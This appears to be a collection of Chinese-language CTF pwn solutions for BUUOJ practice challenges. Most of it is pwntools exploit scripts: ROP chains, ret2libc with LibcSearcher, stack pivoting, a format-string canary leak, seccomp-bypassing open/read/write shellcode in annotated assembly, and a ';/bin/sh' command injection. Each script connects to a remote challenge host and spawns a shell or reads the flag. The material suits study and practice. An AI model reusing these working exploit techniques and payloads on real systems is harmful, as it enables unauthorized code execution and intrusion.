调试参数完事了
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",25634)
#r = process('./ez_pz_hackover_2016')
#r = gdb.debug("./PicoCTF_2018_rop_chain","b * 0x0804873A")
elf = ELF("./PicoCTF_2018_rop_chain")
flag_addr = elf.symbols['flag']
win1_addr = elf.symbols['win_function1']
win2_addr = elf.symbols['win_function2']
win2_a = 0x0BAAAAAAD
flag_a = 0x0DEADBAAD
payload = b'M'*(0x18+4) + p32(win1_addr) + p32(win2_addr) + p32(flag_addr) + p32(win2_a) + p32(flag_a)
r.sendlineafter("input> ",payload)
r.interactive()
开启NX,64位的ret2libc,借助 ROPgadget 修改 rdi rsi rdx 三个寄存器的值,泄露write地址,没找到rdx的值,不过不影响,因为rdx本来为 0x200
看一手反汇编
栈:
符合条件
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",29522)
#r = gdb.debug("./level3_x64","b * 0x0400619")
elf = ELF("./level3_x64")
main_addr = 0x040061A
write_plt = elf.plt["write"]
write_got = elf.got["write"]
pop_rdi = 0x04006b3 # pop rdi ; ret
pop_rsi = 0x04006b1 # pop rsi ; pop r15 ; ret
# 泄露write地址 ret2libc rdi rsi rdx
payload = b'a'*0x80 + b'b'*0x8 + p64(pop_rdi)+p64(1)
payload += p64(pop_rsi)+p64(write_got)+p64(0)
payload += p64(write_plt)
payload += p64(main_addr)
r.sendlineafter('Input:\n',payload)
write_addr = u64(r.recv(8))
log.success(str(hex(write_addr)))
lib = LibcSearcher('write',write_addr)
offset = write_addr - lib.dump('write')
sys_addr = lib.dump('system') + offset
binsh_addr = lib.dump('str_bin_sh') + offset
payload2 = b'a'*0x80 + b'b'*0x8 + p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
r.sendlineafter('Input:\n',payload2)
r.interactive()
栈迁移,这个图相当清楚了:https://blog.csdn.net/mcmuyanga/article/details/109260008
利用 leave 与 ret
指令劫持ebp与eip到某个位置
写rop到bss段上的s的地址
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",28246)
#r = process('./spwn')
#r = gdb.debug("./spwn","b *0x0804850E")
elf = ELF("./spwn")
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x8048513
s=0x0804A300
leave_ret=0x08048408
def Libc(func,func_addr):
lib = LibcSearcher(func,func_addr)
offset = func_addr - lib.dump(func)
sys_addr = lib.dump('system') + offset
binsh_addr = lib.dump('str_bin_sh') + offset
payload = p32(sys_addr)+p32(0)+p32(binsh_addr)
return payload
def attack(arg,payload):
r.recvuntil(arg)
r.send(payload)
payload = p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
attack("name?",payload) # bss 泄露 write
payload2 = b'a'*0x18 + p32(s-4) + p32(leave_ret)
attack("say?",payload2) # 溢出->迁移到bss
write_addr = u32(r.recv(4))
payload = Libc('write',write_addr)
attack("name?",payload)
attack("say?",payload2)
r.interactive()
ret2libc
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",26466)
#r = process('./spwn')
#r = gdb.debug("./level4","b main")
elf = ELF("./level4")
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x08048470
def Libc(func,func_addr):
lib = LibcSearcher(func,func_addr)
offset = func_addr - lib.dump(func)
sys_addr = lib.dump('system') + offset
binsh_addr = lib.dump('str_bin_sh') + offset
payload = p32(sys_addr)+p32(0)+p32(binsh_addr)
return payload
def attack(arg,payload):
r.recvuntil(arg)
r.send(payload)
payload = b'a'*0x88+b'b'*0x4+ p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))
payload = b'a'*0x88+b'b'*0x4 + Libc('write',write_addr)
sleep(0.5)
r.sendline(payload)
r.interactive()
64位 canary保护
偏移为7到canary,利用格式化字符串泄露canary
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",26741)
#r = process('./pwn')
#r = gdb.debug("./pwn","b * 0x0400857")
elf = ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi = 0x0400993
vuln=0x0400887
def Libc(func,func_addr):
lib = LibcSearcher(func,func_addr)
offset = func_addr - lib.dump(func)
sys_addr = lib.dump('system') + offset
binsh_addr = lib.dump('str_bin_sh') + offset
payload = p64(binsh_addr) + p64(sys_addr) + p64(0)
return payload
r.sendlineafter('u!\n','%7$p')
r.recvuntil("0x")
can_addr = int(r.recv(16), 16)
print(can_addr)
payload = b'a'*(0x20-0x8) + p64(can_addr) + b'b'*0x8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
r.sendlineafter('story!\n',payload)
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
log.success(str(hex(puts_addr)))
payload2 = b'a'*(0x20-0x8) + p64(can_addr) + b'b'*0x8
payload2 += p64(pop_rdi) + Libc('puts',puts_addr)
r.sendlineafter('story!\n',payload2)
r.interactive()
栈溢出
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",25177)
#r = process('./heap') # babyheap_0ctf_2017
#r = gdb.debug("./heap")
shell = 0x0804851B
payload = b'a'*0x18+b'b'*0x4+p32(shell)
r.sendline(payload)
r.interactive()
开启canary保护
很明显输入shellcode后,执行shellcode,但是开头有一个 seccomp ,相当于系统调用时的一个白名单
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
此时可以利用open read write输出flag
x86-32的内核传参为eax为syscall_number,ebx,ecx,edx,esi,edp用于将6个参数传递给系统调用。返回值保留再eax中,所有其它寄存(包括EFLAGS)都保留再int 0x80中。
#sys_open(flag,0,0)
xor ecx,ecx; #此时ecx为0x0
mov eax,0x5; #设置syscall调用号为0x5(open)
push ecx; #设置栈顶为\x00结束字符
push 0x67616c66;#设置栈顶为flag,小端序
mov ebx,esp; #将栈顶数值赋值到ebx上
xor edx,edx; #设置权限
int 0x80; #sys_open(flag,0,0)#
#sys_read(3,flag,0x30)
mov eax,0x3; #设置调用号
mov ecx,ebx; #将ebx中的flag赋值到ecx中
mov ebx,eax; #设置文件描述符
mov dl,0x30; #设置输出字节,dl为数据寄存器
int 0x80;
#sys_write(1,flag,0x30)
mov eax,0x4; #设置调用号
mov bl,0x1; #设置基址寄存器为0x1
mov edx,0x30 #设置edx为0x30
int 0x80;
此为pwntools内置模板
/* open(file='flag.txt', oflag=0, mode=0) */
/* push b'flag.txt\x00' */
push 1 #入栈0x1
dec byte ptr [esp] #将esp栈顶指针减1
push 0x7478742e #.txt
push 0x67616c66 #flag
mov ebx, esp #将栈顶元素移入ebx中
xor ecx, ecx #将ecx置零
xor edx, edx #将edx置零
/* call open() */
push 5 /* 5 */ #入栈0x5
pop eax #将栈顶元素0x5移入eax中,eax为syscall_number
int 0x80
/* read(fd='eax', buf='esp', nbytes=0x64) */
mov ebx, eax #将返回值eax移入ebx中
mov ecx, esp #将栈顶元素移入ecx中
push 0x64 #入栈0x64
pop edx #将栈顶元素0x64移入edx中
/* call read() */
push 3 /* 3 */ #入栈0x3
pop eax #将栈顶元素0x3移入eax中
int 0x80
/* write(fd=1, buf='esp', n=0x64) */
push 1 #入栈0x1
pop ebx #将栈顶元素0x1移入ebx中
mov ecx, esp #将栈顶元素移入ecx中
push 0x64 #入栈0x64
pop edx #将栈顶元素0x1移入edx中
/* call write() */
push 4 /* 4 */ #入栈0x4
pop eax #将栈顶元素0x4移入eax中
int 0x80
shellocde : https://zhuanlan.zhihu.com/p/158489498
手撸shellcode
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",28577)
#r = process('./heap') # babyheap_0ctf_2017
#r = gdb.debug("./heap")
shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
r.sendlineafter('shellcode:', shellcode)
r.interactive()
或者利用 shellcraft
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",28577)
#r = process('./heap') # babyheap_0ctf_2017
#r = gdb.debug("./heap")
elf = ELF('./orw')
shellcode = shellcraft.open("/flag")
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendlineafter('shellcode:', shellcode)
r.interactive()
发现ping命令,可能存在命令注入
命令注入
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",29720)
#r = process('./heap') # babyheap_0ctf_2017
#r = gdb.debug("./heap")
payload = ';/bin/sh'
r.sendline('1')
r.sendlineafter('Please input the ip address:',payload)
r.interactive()